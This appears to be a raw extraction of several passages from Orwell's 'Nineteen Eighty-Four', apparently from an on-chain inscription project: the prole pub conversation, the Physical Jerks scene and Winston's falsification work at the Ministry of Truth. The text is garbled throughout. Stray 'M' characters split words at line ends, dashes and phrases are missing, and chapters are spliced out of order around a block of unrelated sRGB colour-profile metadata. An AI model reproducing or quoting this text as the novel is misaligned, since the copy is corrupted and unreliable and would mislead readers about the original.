He walked on. The bomb had demolished a group of houses two hundred meters up the street. A black plume of smoke hung in the sky, and below it a cloud of plaster dust in which a crowd was already forming round the ruins. There was a little pile of plaster lying on the pavement ahead of him, and in the middle of it he could see a bright red streak. When he got up to it he saw that it was a human hand severed at the wrist. Apart from the bloody stump, the hand was so completely whitened as to resemble a plasterM
He kicked the thing into the gutter, and then, to avoid the crowd, turned down a side street to the right. Within three or four minutes he was out of the area which the bomb had affected, and the sordid swarming life of the streets was going on as though nothing had happened. It was nearly twenty hours, and the drinking shops which the proles frequented ("pubs," they called them) were choked with customers. From their grimy swing doors, endlessly opening and shutting, there came forth a smell of urine, sawdM
ust, and sour beer. In an angle formed by a projecting house front three men were standing very close together, the middle one of them holding a folded-up newspaper which the other two were studying over his shoulders. Even before he was near enough to make out the expression on their faces, Winston could see absorption in every line of their bodies. It was obviously some serious piece of news that they were reading. He was a few paces away from them when suddenly the group broke up and two of the men were in violeM
nt altercation. For a moment they seemed almost on the point of blows.
"Can't you bleeding well listen to what I say? I tell you no number ending in seven ain't won for over fourteen months!"
"No, it 'as not! Back 'ome I got the 'ole lot of 'em for over two years wrote down on a piece of paper. I takes 'em down reg'lar as the clock. An' I tell you, no number ending in seven
"Yes, a seven 'as won! I could pretty near tell you the bleeding number. Four oh seven, it ended in. It were in FebM
second week in February."
"February your grandmother! I got it all down in black and white. An' I tell you, no number
"Oh, pack it in!" said the third man.
They were talking about the Lottery. Winston looked back when he had gone thirty meters. They were still arguing, with vivid, passionate faces. The Lottery, with its weekly pay-out of enormous prizes, was the one public event to which the proles paid serious attention. It was probable that there were some millions of proles for whom the Lottery waM
s the principal if not the only reason for remaining alive. It was their delight, their folly, their anodyne, their intellectual stimulant. Where the Lottery was concerned, even people who could barely read and write seemed capable of intricate calculations and staggering feats of memory. There was a whole tribe of men who made a living simply by selling systems, forecasts, and lucky amulets. Winston had nothing to do with the running of the Lottery, which was managed by the Ministry of Plenty, but he was aware (inM
deed everyone in the Party was aware) that the prizes were largely imaginary. Only small sums were actually paid out, the winners of the big prizes being nonexistent persons. In the absence of any real intercommunication between one part of Oceania and another, this was not difficult to arrange.
But if there was hope, it lay in the proles. You had to cling on to that. When you put it in words it sounded reasonable; it was when you looked at the human beings passing you on the pavement that it became an act of faitM
h. The street into which he had turned ran downhill. He had a feeling that he had been in this neighborhood before, and that there was a main thoroughfare not far away. From somewhere ahead there came a din of shouting voices. The street took a sharp turn and then ended in a flight of steps which led down into a sunken alley where a few stallkeepers were selling tired-looking vegetables. At this moment Winston remembered where he was. The alley led out into the main street, and down the next turning, not five minutM
es away, was the junk shop where he had bought the blank book which was now his diary. And in a small stationer's shop not far away he had bought his penholder and his bottle of ink.
He paused for a moment at the top of the steps. On the opposite side of the alley there was a dingy little pub whose windows appeared to be frosted over but in reality were merely coated with dust. A very old man, bent but active, with white mustaches that bristled forward like those of a prawn, pushed open the swing door and went in.M
 As Winston stood watching it occurred to him that the old man, who must be eighty at the least, had already been middle-aged when the Revolution happened. He and a few others like him were the last links that now existed with the vanished world of capitalism. In the Party itself there were not many people left whose ideas had been formed before the Revolution. The older generation had mostly been wiped out in the great purges of the Fifties and Sixties, and the few who survived had long ago been terrified into comM
plete intellectual surrender. If there was anyone still alive who could give you a truthful account of conditions in the early part of the century, it could only be a prole. Suddenly the passage from the history book that he had copied into his diary came back into Winston's mind, and a lunatic impulse took hold of him. He would go into the pub, he would scrape acquaintance with that old man and question him. He would say to him: "Tell me about your life when you were a boy. What was it like in those days? Were thiM
ngs better than they are now, or were they worse?"
Hurriedly, lest he should have time to become frightened, he descended the steps and crossed the narrow street. It was madness, of course. As usual, there was no definite rule against talking to proles and frequenting their pubs, but it was far too unusual an action to pass unnoticed. If the patrols appeared he might plead an attack of faintness, but it was not likely that they would believe him. He pushed open the door, and a hideous cheesy smell of sour beer hitM
 him in the face. As he entered, the din of voices dropped to about half its volume. Behind his back he could feel everyone eyeing his blue overalls. A game of darts which was going on at the other end of the room interrupted itself for perhaps as much as thirty seconds. The old man whom he had followed was standing at the bar, having some kind of altercation with the barman, a large, stout, hook-nosed young man with enormous forearms. A knot of others, standing round with glasses in their hands, were watching the M
"I arst you civil enough, didn't I?" said the old man, straightening his shoulders pugnaciously. "You telling me you ain't got a pint mug in the 'ole bleeding boozer?"
"And what in hell's name is a pint?" said the barman, leaning forward with the tips of his fingers on the counter.
"'Ark at 'im! Calls 'isself a barman and don't know what a pint is! Why, a pint's the 'alf of a quart, and there's four quarts to the gallon. 'Ave to teach you the A, B, C next."
"Never heard of 'em," said the barman shortly. M
"Liter and half liter
that's all we serve. There's the glasses on the shelf in front of you."
"I likes a pint," persisted the old man. "You could 'a drawed me off a pint easy enough. We didn't 'ave these bleeding liters when I was a young man."
"When you were a young man we were all living in the treetops," said the barman, with a glance at the other customers.
There was a shout of laughter, and the uneasiness caused by Winston's entry seemed to disappear. The old man's white-stubbled face had flushed pink. HeM
 turned away, muttering to himself, and bumped into Winston. Winston caught him gently by the arm.
"May I offer you a drink?" he said.
"You're a gent," said the other, straightening his shoulders again. He appeared not to have noticed Winston's blue overalls. "Pint!" he added aggressively to the barman. "Pint of wallop."
The barman swished two half-liters of dark-brown beer into thick glasses which he had rinsed in a bucket under the counter. Beer was the only drink you could get in prole pubs. The proles were sM
upposed not to drink gin, though in practice they could get hold of it easily enough. The game of darts was in full swing again, and the knot of men at the bar had begun talking about lottery tickets. Winston's presence was forgotten for a moment. There was a deal table under the window where he and the old man could talk without fear of being overheard. It was horribly dangerous, but at any rate there was no telescreen in the room, a point he had made sure of as soon as he came in.
"'E could 'a drawed me off a piM
nt," grumbled the old man as he settled down behind his glass. "A 'alf liter ain't enough. It don't satisfy. And a 'ole liter's too much. It starts my bladder running. Let alone the price."
"You must have seen great changes since you were a young man," said Winston tentatively.
The old man's pale blue eyes moved from the darts board to the bar, and from the bar to the door of the Gents, as though it were in the barroom that he expected the changes to have occurred.
"The beer was better," he said finally. "And chM
eaper! When I was a young man, mild beer
wallop, we used to call it
was fourpence a pint. That was before the war, of course."
"Which war was that?" said Winston.
"It's all wars," said the old man vaguely. He took up his glass, and his shoulders straightened again. "'Ere's wishing you the very best of 'ealth!"
In his lean throat the sharp-pointed Adam's apple made a surprisingly rapid up-and-down movement, and the beer vanished. Winston went to the bar and came back with two more half-liters. The old man appM
eared to have forgotten his prejudice against drinking a full liter.
"You are very much older than I am," said Winston. "You must have been a grown man before I was born. You can remember what it was like in the old days, before the Revolution. People of my age don't really know anything about those times. We can only read about them in books, and what it says in the books may not be true. I should like your opinion on that. The history books say that life before the Revolution was completely different from what iM
t is now. There was the most terrible oppression, injustice, poverty
worse than anything we can imagine. Here in London, the great mass of the people never had enough to eat from birth to death. Half of them hadn't even boots on their feet. They worked twelve hours a day, they left school at nine, they slept ten in a room. And at the same time there were a very few people, only a few thousands
the capitalists, they were called
who were rich and powerful. They owned everything that there was to own. They livedM
 in great gorgeous houses with thirty servants, they rode about in motor cars and four-horse carriages, they drank champagne, they wore top hats
The old man brightened suddenly.
"Top 'ats!" he said. "Funny you should mention 'em. The same thing come into my 'ead only yesterday, I donno why. I was jest thinking, I ain't seen a top 'at in years. Gorn right out, they 'ave. The last time I wore one was at my sister-in-law's funeral. And that was
well, I couldn't give you the date, but it must 'a been fifty yearM
 ago. Of course it was only 'ired for the occasion, you understand."
"It isn't very important about the top hats," said Winston patiently. "The point is, these capitalists
they and a few lawyers and priests and so forth who lived on them
were the lords of the earth. Everything existed for their benefit. You
the ordinary people, the workers
were their slaves. They could do what they liked with you.h!
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
text/plain;charset=utf-8
The following piece is part of the George Ordwell project; an ordinal project inscribing notable works on-chain as artefacts.
Title: Nineteen Eighty-Four
------------------------------------------------------------------
Winston wrenched his body out of bed
naked, for a member of the Outer Party received only three thousand clothing coupons annually, and a suit of pajamas was six hundred
and seized a dingy singlet and a pair of shorts that were lying across a chair. The Physical JeM
rks would begin in three minutes. The next moment he was doubled up by a violent coughing fit which nearly always attacked him soon after waking up. It emptied his lungs so completely that he could only begin breathing again by lying on his back and taking a series of deep gasps. His veins had swelled with the effort of the cough, and the varicose ulcer had started itching.
"Thirty to forty group!" yapped a piercing female voice. "Thirty to forty group! Take your places, please. Thirties to forties!"
ng to attention in front of the telescreen, upon which the image of a youngish woman, scrawny but muscular, dressed in tunic and gym shoes, had already appeared.
"Arms bending and stretching!" she rapped out. "Take your time by me. One, two, three, four! One, two, three, four! Come on, comrades, put a bit of life into it! One, two, three, four! One, two, three, four!..."
The pain of the coughing fit had not quite driven out of Winston's mind the impression made by his dream, and the rhythmic movements of the exerM
cise restored it somewhat. As he mechanically shot his arms back and forth, wearing on his face the look of grim enjoyment which was considered proper during the Physical Jerks, he was struggling to think his way backward into the dim period of his early childhood. It was extraordinarily difficult. Beyond the late Fifties everything faded. When there were no external records that you could refer to, even the outline of your own life lost its sharpness. You remembered huge events which had quite probably not happeneM
d, you remembered the detail of incidents without being able to recapture their atmosphere, and there were long blank periods to which you could assign nothing. Everything had been different then. Even the names of countries, and their shapes on the map, had been different. Airstrip One, for instance, had not been so called in those days: it had been called England or Britain, though London, he felt fairly certain, had always been called London.
Winston could not definitely remember a time when his country had notM
 been at war, but it was evident that there had been a fairly long interval of peace during his childhood, because one of his early memories was of an air raid which appeared to take everyone by surprise. Perhaps it was the time when the atomic bomb had fallen on Colchester. He did not remember the raid itself, but he did remember his father's hand clutching his own as they hurried down, down, down into some place deep in the earth, round and round a spiral suitcase which rang under his feet and which finally weariM
ed his legs that he began whimpering and they had to stop and rest. His mother, in her slow dreamy way, was following a long way behind them. She was carrying his baby sister
or perhaps it was only a bundle of blankets that she was carrying: he was not certain whether his sister had been born then. Finally they had emerged into a noisy, crowded place which he had realized to be a Tube station.
There were people sitting all over the stone-flagged floor, and other people, packed tightly together, were sitting on mM
etal bunks, one above the other. Winston and his mother and father found themselves a place on the floor, and near them an old man and an old woman were sitting side by side on a bunk. The old man had on a decent dark suit and a black cloth cap pushed back from very white hair; his face was scarlet and his eyes were blue and full of tears. He reeked of gin. It seemed to breathe out of his skin in place of sweat, and one could have fancied that the tears welling from his eyes were pure gin. But though slightly drunkM
 he was also suffering under some grief that was genuine and unbearable. In his childish way Winston grasped that some terrible thing, something that was beyond forgiveness and could never be remedied, had just happened. It also seemed to him that he knew what it was. Someone whom the old man loved, a little granddaughter perhaps, had been killed. Every few minutes the old man kept repeating:
"We didn't ought to 'ave trusted 'em. I said so, Ma, didn't I? That's what come of trusting 'em. I said so all along. We diM
dn't ought to 'ave trusted the buggers."
But which buggers they didn't ought to have trusted Winston could not now remember.
Since about that time, war had been literally continuous, though strictly speaking it had not always been the same war. For several months during his childhood there had been confused street fighting in London itself, some of which he remembered vividly. But to trace out the history of the whole period, to say who was fighting whom at any given moment, would have been utterly impossible, siM
nce no written record, and no spoken word, ever made mention of any other alignment than the existing one. At this moment, for example, in 1984 (if it was 1984), Oceania was at war with Eurasia and in alliance with Eastasia. In no public or private utterance was it ever admitted that the three powers had at any time been grouped along different lines. Actually, as Winston well knew, it was only four years since Oceania had been at war with Eastasia and in alliance with Eurasia. But that was merely a piece of furtivM
e knowledge which he happened to possess because his memory was not satisfactorily under control. Officially the change of partners had never happened. Oceania was at war with Eurasia: therefore Oceania had always been at war with Eurasia. The enemy of the moment always represented absolute evil, and it followed that any past or future agreement with him was impossible.
The frightening thing, he reflected for the ten thousandth time as he forced his shoulders painfully backward (with hands on hips, they were gyratM
ing their bodies from the waist, an exercise that was supposed to be good for the back muscles)
the frightening thing was that it might all be true. If the Party could thrust its hand into the past and say of this or that event, it never happened
that, surely, was more terrifying than mere torture and death.
The Party said that Oceania had never been in alliance with Eurasia. He, Winston Smith, knew that Oceania had been in alliance with Eurasia as short a time as four years ago. But where did that knowledge eM
xist? Only in his own consciousness, which in any case must soon be annihilated. And if all others accepted the lie which the Party imposed
if all records told the same tale
then the lie passed into history and became truth. "Who controls the past," ran the Party slogan, "controls the future: who controls the present controls the past." And yet the past, though of its nature alterable, never had been altered. Whatever was true now was true from everlasting to everlasting. It was quite simple. All that was needeM
d was an unending series of victories over your own memory. "Reality control," they called it; in Newspeak, "doublethink."
"Stand easy!" barked the instructress, a little more genially.
Winston sank his arms to his sides and slowly refilled his lungs with air. His mind slid away into the labyrinthine world of doublethink. To know and not to know, to be conscious of complete truthfulness while telling carefully constructed lies, to hold simultaneously two opinions which canceled out, knowing them to be contradictoM
ry and believing in both of them, to use logic against logic, to repudiate morality while laying claim to it, to believe that democracy was impossible and that the Party was the guardian of democracy, to forget whatever it was necessary to forget, then to draw it back into memory again at the moment when it was needed, and then promptly to forget it again, and above all, to apply the same process to the process itself
that was the ultimate subtlety: consciously to induce unconsciousness, and then, once again, to M
become unconscious of the act of hypnosis you had just performed. Even to understand the word "doublethink" involved the use of doublethink.
The instructress had called them to attention again. "And now let's see which of us can touch our toes!" she said enthusiastically. "Right over from the hips, please, comrades. One-two! One-two!..."
Winston loathed this exercise, which sent shooting pains all the way from his heels to his buttocks and often ended by bringing on another coughing fit. The half-pleasant qualityM
 went out of his meditations. The past, he reflected, had not merely been altered, it had been actually destroyed. For how could you establish even the most obvious fact when there existed no record outside your own memory? He tried to remember in what year he had first heard mention of Big Brother. He thought it must have been at some time in the Sixties, but it was impossible to be certain. In the Party histories, of course, Big Brother figured as the leader and guardian of the Revolution since its very earliest M
days. His exploits had been gradually pushed backwards in time until already they extended into the fabulous world of the Forties and the Thirties, when the capitalists in their strange cylindrical hats still rode through the streets of London in great gleaming motor cars or horse carriages with glass sides. There was no knowing how much of this legend was true and how much invented. Winston could not even remember at what date the Party itself had come into existence. He did not believe he had ever heard the word M
Ingsoc before 1960, but it was possible that in its Oldspeak form
"English Socialism," that is to say
it had been current earlier. Everything melted into mist. Sometimes, indeed, you could put your finger on a definite lie. It was not true, for example, as was claimed in the Party history books, that the Party had invented airplanes. He remembered airplanes since his earliest childhood. But you could prove nothing. There was never any evidence. Just once in his whole life he had held in his hands unmistakable dM
ocumentary proof of the falsification of a historical fact. And on that occasion
"Smith!" screamed the shrewish voice from the telescreen. "6079 Smith W! Yes, you! Bend lower, please! You can do better than that. You're not trying. Lower, please! That's better, comrade. Now stand at ease, the whole squad, and watch me."
A sudden hot sweat had broken out all over Winston's body. His face remained completely inscrutable. Never show dismay! Never show resentment! A single flicker of the eyes could give you away. M
He stood watching while the instructress raised her arms above her head and
one could not say gracefully, but with remarkable neatness and efficiency
bent over and tucked the first joint of her fingers under her toes.
"There, comrades! That's how I want to see you doing it. Watch me again. I'm thirty-nine and I've had four children. Now look." She bent over again. "You see my knees aren't bent. You can all do it if you want to," she added as she straightened herself up. "Anyone under forty-five is perfectly caM
pable of touching his toes. We don't all have the privilege of fighting in the front line, but at least we can all keep fit. Remember our boys on the Malabar front! And the sailors in the Floating Fortresses! Just think what they have to put up with. Now try again. That's better, comrade, that's much better," she added encouragingly as Winston, with a violent lunge, succeeded in touching his toes with knees unbent, for the first time in several years.
With the deep, unconscious sigh which not even the nearness M
of the telescreen could prevent him from uttering when his day's work started, Winston pulled the speakwrite toward him, blew the dust from its mouthpiece, and put on his spectacles. Then he unrolled and clipped together four small cylinders of paper which had already flopped out of the pneumatic tube on the right-hand side of his desk.
In the walls of the cubicle there were three orifices. To the right of the speakwrite, a small pneumatic tube for written messages; to the left, a larger one for newspapers; and inM
 the side wall, within easy reach of Winston's arm, a large oblong slit protected by a wire grating. This last was for the disposal of waste paper. Similar slits existed in thousands or tens of thousands throughout the building, not only in every room but at short intervals in every corridor. For some reason they were nicknamed memory holes. When one knew that any document was due for destruction, or even when one saw a scrap of waste paper lying about, it was an automatic action to lift the flap of the nearest memM
ory hole and drop it in, whereupon it would be whirled away on a current of warm air to the enormous furnaces which were hidden somewhere in the recesses of the building.
Winston examined the four slips of paper which he had unrolled. Each contained a message of only one or two lines, in the abbreviated jargon
not actually Newspeak, but consisting largely of Newspeak words
which was used in the Ministry for internal purposes. They ran:
times 17.3.84 bb speech malreported africa rectify
times 19.12.83 forecasM
ts 3 yp 4th quarter 83 misprints verify current issue
times 14.2.84 miniplenty malquoted chocolate rectify
times 3.12.83 reporting bb dayorder doubleplusungood refs unpersons rewrite fullwise upsub antefiling.
With a faint feeling of satisfaction Winston laid the fourth message aside. It was an intricate and responsible job and had better be dealt with last. The other three were routine matters, though the second one would probably mean some tedious wading through lists of figures.
Winston dialed "back numbers"M
 on the telescreen and called for the appropriate issues of the Times, which slid out of the pneumatic tube after only a few minutes' delay. The messages he had received referred to articles or news items which for one reason or another it was thought necessary to alter, or, as the official phrase had it, to rectify. For example, it appeared from the Times of the seventeenth of March that Big Brother, in his speech of the previous day, had predicted that the South Indian front would remain quiet but that a EurasianM
 offensive would shortly be launched in North Africa. As it happened, the Eurasian Higher Command had launched its offensive in South India and left North Africa alone. It was therefore necessary to rewrite a paragraph of Big Brother's speech in such a way as to make him predict the thing that had actually happened. Or again, the Times of the nineteenth of December had published the official forecasts of the output of various classes of consumption goods in the fourth quarter of 1983, which was also the sixth quartM
er of the Ninth Three-Year Plan. Today's issue contained a statement of the actual output, from which it appeared that the forecasts were in every instance grossly wrong. Winston's job was to rectify the original figures by making them agree with the later ones. As for the third message, it referred to a very simple error which could be set right in a couple of minutes. As short a time ago as February, the Ministry of Plenty had issued a promise (a "categorical pledge" were the official words) that there would be nM
o reduction of the chocolate ration during 1984. Actually, as Winston was aware, the chocolate ration was to be reduced from thirty grams to twenty at the end of the present week. All that was needed was to substitute for the original promise a warning that it would probably be necessary to reduce the ration at some time in April.
As soon as Winston had dealt with each of the messages, he clipped his speakwritten corrections to the appropriate copy of the Times and pushed them into the pneumatic tube. Then, with aM
 movement which was as nearly as possible unconscious, he crumpled up the original message and any notes that he himself had made, and dropped them into the memory hole to be devoured by the flames.
What happened in the unseen labyrinth to which the pneumatic tubes led, he did not know in detail, but he did know in general terms. As soon as all the corrections which happened to be necessary in any particular number of the Times had been assembled and collated, that number would be reprinted, the original copy destM
royed, and the corrected copy placed on the files in its stead. This process of continuous alteration was applied not only to newspapers, but to books, periodicals, pamphlets, posters, leaflets, films, sound tracks, cartoons, photographs
to every kind of literature or documentation which might conceivably hold any political or ideological significance. Day by day and almost minute by minute the past was brought up to date. In this way every prediction made by the Party could be shown by documentary evidence to haM
ve been correct; nor was any item of news, or any expression of opinion, which conflicted with the needs of the moment, ever allowed to remain on record. All history was a palimpsest, scraped clean and reinscribed exactly as often as was necessary. In no case would it have been possible, once the deed was done, to prove that any falsification had taken place. The largest section of the Records Department, far larger than the one in which Winston worked, consisted simply of persons whose duty it was to track down anM
d collect all copies of books, newspapers, and other documents which had been superseded and were due for destruction. A number of the Times which might, because of changes in political alignment, or mistaken prophecies uttered by Big Brother, have been rewritten a dozen times still stood on the files bearing its original date, and no other copy existed to contradict it. Books, also, were recalled and rewritten again and again, and were invariably reissued without any admission that any alteration had been made. EvM
en the written instructions which Winston received, and which he invariably got rid of as soon as he had dealt with them, never stated or implied that an act of forgery was to be committed; always the reference was to slips, errors, misprints, or misquotations which it was necessary to put right in the interests of accuracy.
But actually, he thought as he readjusted the Ministry of Plenty's figures, it was not even forgery. It was merely the substitution of one piece of nonsense for another. Most of the material tM
hat you were dealing with had no connection with anything in the real world, not even the kind of connection that is contained in a direct lie. Statistics were just as much a fantasy in their original version as in their rectified version. A great deal of the time you were expected to make them up out of your head. For example, the Ministry of Plenty's forecast had estimated the output of boots for the quarter at a hundred and forty-five million pairs. The actual output was given as sixty-two millions. Winston, howM
ever, in rewriting the forecast, marked the figure down to fifty-seven millions, so as to allow for the usual claim that the quota had been overfulfilled. In any case, sixty-two millions was no nearer the truth than fifty-seven millions, or than a hundred and forty-five millions. Very likely no boots had been produced at all. Likelier still, nobody knew how many had been produced, much less cared. All one knew was that every quarter astronomical numbers of boots were produced on paper, while perhaps half the populaM
tion of Oceania went barefoot. And so it was with every class of recorded fact, great or small. Everything faded away into a shadow-world in which, finally, even the date of the year had become uncertain.
Winston glanced across the hall. In the corresponding cubicle on the other side a small, precise-looking, dark-chinned man named Tillotson was working steadily away, with a folded newspaper on his knee and his mouth very close to the mouthpiece of the speakwrite. He had the air of trying to keep what he was sayinM
g a secret between himself and the telescreen. He looked up, and his spectacles darted a hostile flash in Winston's direction.
Winston hardly knew Tillotson, and had no idea what work he was employed on. People in the Records Department did not readily talk about their jobs. In the long, windowless hall, with its double row of cubicles and its endless rustle of papers and hum of voices murmuring into speakwrites, there were quite a dozen people whom Winston did not even know by name, though he daily saw them hurryM
ing to and fro in the corridors or gesticulating in the Two Minutes Hate. He knew that in the cubicle next to him the little woman with sandy hair toiled day in, day out, simply at tracking down and deleting from the press the names of people who had been vaporized and were therefore considered never to have existed. There was a certain fitness in this, since her own husband had been vaporized a couple of years earlier. And a few cubicles away a mild, ineffectual, dreamy creature named Ampleforth, with very hairy eM
ars and a surprising talent for juggling with rhymes and meters, was engaged in producing garbled versions
definitive texts, they were called
of poems which had become ideologically offensive but which for one reason or another were to be retained in the anthologies. And this hall, with its fifty workers or thereabouts, was only one sub-section, a single cell, as it were, in the huge complexity of the Records Department. Beyond, above, below, were other swarms of workers engaged in an unimaginable multitude of M
jobs. There were the huge printing shops with their sub-editors, their typography experts, and their elaborately equipped studios for the faking of photographs. There was the teleprograms section with its engineers, its producers, and its teams of actors specially chosen for their skill in imitating voices. There were the armies of reference clerks whose job was simply to draw up lists of books and periodicals which were due for recall. There were the vast repositories where the corrected documents were stored, andM
 the hidden furnaces where the original copies were destroyed. And somewhere or other, quite anonymous, there were the directing brains who coordinated the whole effort and laid down the lines of policy which made it necessary that this fragment of the past should be preserved, that one falsified, and the other rubbed out of existence.
And the Records Department, after all, was itself only a single branch of the Ministry of Truth, whose primary job was not to reconstruct the past but to supply the citizens of OceaM
nia with newspapers, films, textbooks, telescreen programs, plays, novels
with every conceivable kind of information, instruction, or entertainment, from a statue to a slogan, from a lyric poem to a biological treatise, and from a child's spelling book to a Newspeak dictionary. And the Ministry had not only to supply the multifarious needs of the Party, but also to repeat the whole operation at a lower level for the benefit of the proletariat. There was a whole chain of separate departments dealing with proletariM
an literature, music, drama, and entertainment generally. Here were produced rubbishy newspapers containing almost nothing except sport, crime, and astrology, sensational five-cent novelettes, films oozing with sex, and sentimental songs which were composed entirely by mechanical means on a special kind of kaleidoscope known as a versificator. There was even a whole sub-section
Pornosec, it was called in Newspeak
engaged in producing the lowest kind of pornography, which was sent out in sealed packets and whichM
 no Party member, other than those who worked on it, was permitted to look at.
Three messages had slid out of the pneumatic tube while Winston was working; but they were simple matters, and he had disposed of them before the Two Minutes Hate interrupted him. When the Hate was over he returned to his cubicle, took the Newspeak dictionary from the shelf, pushed the speakwrite to one side, cleaned his spectacles, and settled down to his main job of the morning.
Winston's greatest pleasure in life was in his work. MoM
st of it was a tedious routine, but included in it there were also jobs so difficult and intricate that you could lose yourself in them as in the depths of a mathematical problem
delicate pieces of forgery in which you had nothing to guide you except your knowledge of the principles of Ingsoc and your estimate of what the Party wanted you to say. Winston was good at this kind of thing. On occasion he had even been entrusted with the rectification of the Times leading articles, which were written entirely in NewspM
eak. He unrolled the message that he had set aside earlier. It ran:
times 3.12.83 reporting bb dayorder doubleplusungood refs unpersons rewrite fullwise upsub antefiling.
In Oldspeak (or standard English) this might be rendered:
The reporting of Big Brother's Order for the Day in the Times of December 3rd 1983 is extremely unsatisfactory and makes references to nonexistent persons. Rewrite it in full and submit your draft to higher authority before filing.
Winston read through the offending article. Big BrotherM
's Order for the Day, it seemed, had been chiefly devoted to praising the work of an organization known as FFCC, which supplied cigarettes and other comforts to the sailors in the Floating Fortresses. A certain Comrade Withers, a prominent member of the Inner Party, had been singled out for special mention and awarded a decoration, the Order of Conspicuous Merit, Second Class.
Three months later FFCC had suddenly been dissolved with no reasons given. One could assume that Withers and his associates were now in disM
grace, but there had been no report of the matter in the press or on the telescreen. That was to be expected, since it was unusual for political offenders to be put on trial or even publicly denounced. The great purges involving thousands of people, with public trials of traitors and thought-criminals who made abject confession of their crimes and were afterwards executed, were special showpieces not occurring oftener than once in a couple of years. More commonly, people who had incurred the displeasure of the PartM
y simply disappeared and were never heard of again. One never had the smallest clue as to what had happened to them. In some cases they might not even be dead. Perhaps thirty people personally known to Winston, not counting his parents, had disappeared at one time or another.
Winston stroked his nose gently with a paper clip. In the cubicle across the way Comrade Tillotson was still crouching secretively over his speakwrite. He raised his head for a moment: again the hostile spectacle-flash. Winston wondered whethM
er Comrade Tillotson was engaged on the same job as himself. It was perfectly possible. So tricky a piece of work would never be entrusted to a single person; on the other hand, to turn it over to a committee would be to admit openly that an act of fabrication was taking place. Very likely as many as a dozen people were now working away on rival versions of what Big Brother had actually said. And presently some master brain in the Inner Party would select this version or that, would re-edit it and set in motion theM
 complex processes of cross-referencing that would be required, and then the chosen lie would pass into the permanent records and become truth.
Winston did not know why Withers had been disgraced. Perhaps it was for corruption or incompetence. Perhaps Big Brother was merely getting rid of a too-popular subordinate. Perhaps Withers or someone close to him had been suspected of heretical tendencies. Or perhaps
what was likeliest of all
the thing had simply happened because purges and vaporizations were a necessaM
ry part of the mechanics of government. The only real clue lay in the words "refs unpersons," which indicated that Withers was already dead. You could not invariably assume this to be the case when people were arrested. Sometimes they were released and allowed to remain at liberty for as much as a year or two years before being executed. Very occasionally some person whom you had believed dead long since would make a ghostly reappearance at some public trial where he would implicate hundreds of others by his testimM
ony before vanishing, this time forever. Withers, however, was already an unperson. He did not exist; he had never existed. Winston decided that it would not be enough simply to reverse the tendency of Big Brother's speech. It was better to make it deal with something totally unconnected with its original subject.
He might turn the speech into the usual denunciation of traitors and thought-criminals, but that was a little too obvious, while to invent a victory at the front, or some triumph of overproduction in theM
 Ninth Three-Year Plan, might complicate the records too much. What was needed was a piece of pure fantasy. Suddenly there sprang into his mind, ready-made as it were, the image of a certain Comrade Ogilvy, who had recently died in battle, in heroic circumstances. There were occasions when Big Brother devoted his Order for the Day to commemorating some humble, rank-and-file Party member whose life and death he held up as an example worthy to be followed. Today he should commemorate Comrade Ogilvy. It was true that M
there was no such person as Comrade Ogilvy, but a few lines of print and a couple of faked photographs would soon bring him into existence.
Winston thought for a moment, then pulled the speakwrite toward him and began dictating in Big Brothers familiar style: a style at once military and pedantic, and, because of a trick of asking questions and then promptly answering them ("What lessons do we learn from this fact, comrades? The lessons
which is also one of the fundamental principles of Ingsoc
.), easy to imitate.
At the age of three Comrade Ogilvy had refused all toys except a drum, a submachine gun, and a model helicopter. At six
a year early, by a special relaxation of the rules
he had joined the Spies; at nine he had been a troop leader. At eleven he had denounced his uncle to the Thought Police after overhearing a conversation which appeared to him to have criminal tendencies. At seventeen he had been a district organizer of the Junior Anti-Sex League. At nineteen he had designed a hand grenadeM
 which had been adopted by the Ministry of Peace and which, at its first trial, had killed thirty-one Eurasian prisoners in one burst. At twenty-three he had perished in action. Pursued by enemy jet planes while flying over the Indian Ocean with important despatches, he had weighted his body with his machine gun and leapt out of the helicopter into deep water, despatches and all
an end, said Big Brother, which it was impossible to contemplate without feelings of envy. Big Brother added a few remarks on the purityM
 and single-mindedness of Comrade Ogilvy's life. He was a total abstainer and a nonsmoker, had no recreations except a daily hour in the gymnasium, and had taken a vow of celibacy, believing marriage and the care of a family to be incompatible with a twenty-four-hour-a-day devotion to duty. He had no subjects of conversation except the principles of Ingsoc, and no aim in life except the defeat of the Eurasian enemy and the hunting-down of spies, saboteurs, thought-criminals, and traitors generally.
 with himself whether to award Comrade Ogilvy the Order of Conspicuous Merit; in the end he decided against it because of the unnecessary cross-referencing that it would entail.
Once again he glanced at his rival in the opposite cubicle. Something seemed to tell him with certainty that Tillotson was busy on the same job as himself. There was no way of knowing whose version would finally be adopted, but he felt a profound conviction that it would be his own. Comrade Ogilvy, unimagined an hour ago, was now a fact. IM
t struck him as curious that you could create dead men but not living ones. Comrade Ogilvy, who had never existed in the present, now existed in the past, and when once the act of forgery was forgotten, he would exist just as authentically, and upon the same evidence, as Charlemagne or Julius Caesar.
In the low-ceilinged canteen, deep under ground, the lunch queue jerked slowly forward. The room was already very full and deafeningly noisy. From the grille at the counter the steam of stew came pouring forth, withM
 a sour metallic smell which did not quite overcome the fumes of Victory Gin. On the far side of the room there was a small bar, a mere hole in the wall, where gin could be bought at ten cents the large nip.
"Just the man I was looking for," said a voice at Winston's back.
He turned round. It was his friend Syme, who worked in the Research Department. Perhaps "friend" was not exactly the right word. You did not have friends nowadays, you had comrades; but there were some comrades whose society was pleasanter thanM
 that of others. Syme was a philologist, a specialist in Newspeak. Indeed, he was one of the enormous team of experts now engaged in compiling the Eleventh Edition of the Newspeak dictionary. He was a tiny creature, smaller than Winston, with dark hair and large, protuberant eyes, at once mournful and derisive, which seemed to search your face closely while he was speaking to you.
"I wanted to ask you whether you'd got any razor blades," he said.
"Not one!" said Winston with a sort of guilty haste. "I've tried alM
l over the place. They don't exist any longer."
Everyone kept asking you for razor blades. Actually he had two unused ones which he was hoarding up. There had been a famine of them for months past. At any given moment there was some necessary article which the Party shops were unable to supply. Sometimes it was buttons, sometimes it was darning wool, sometimes it was shoelaces; at present it was razor blades. You could only get hold of them, if at all, by scrounging more or less furtively on the "free" market.
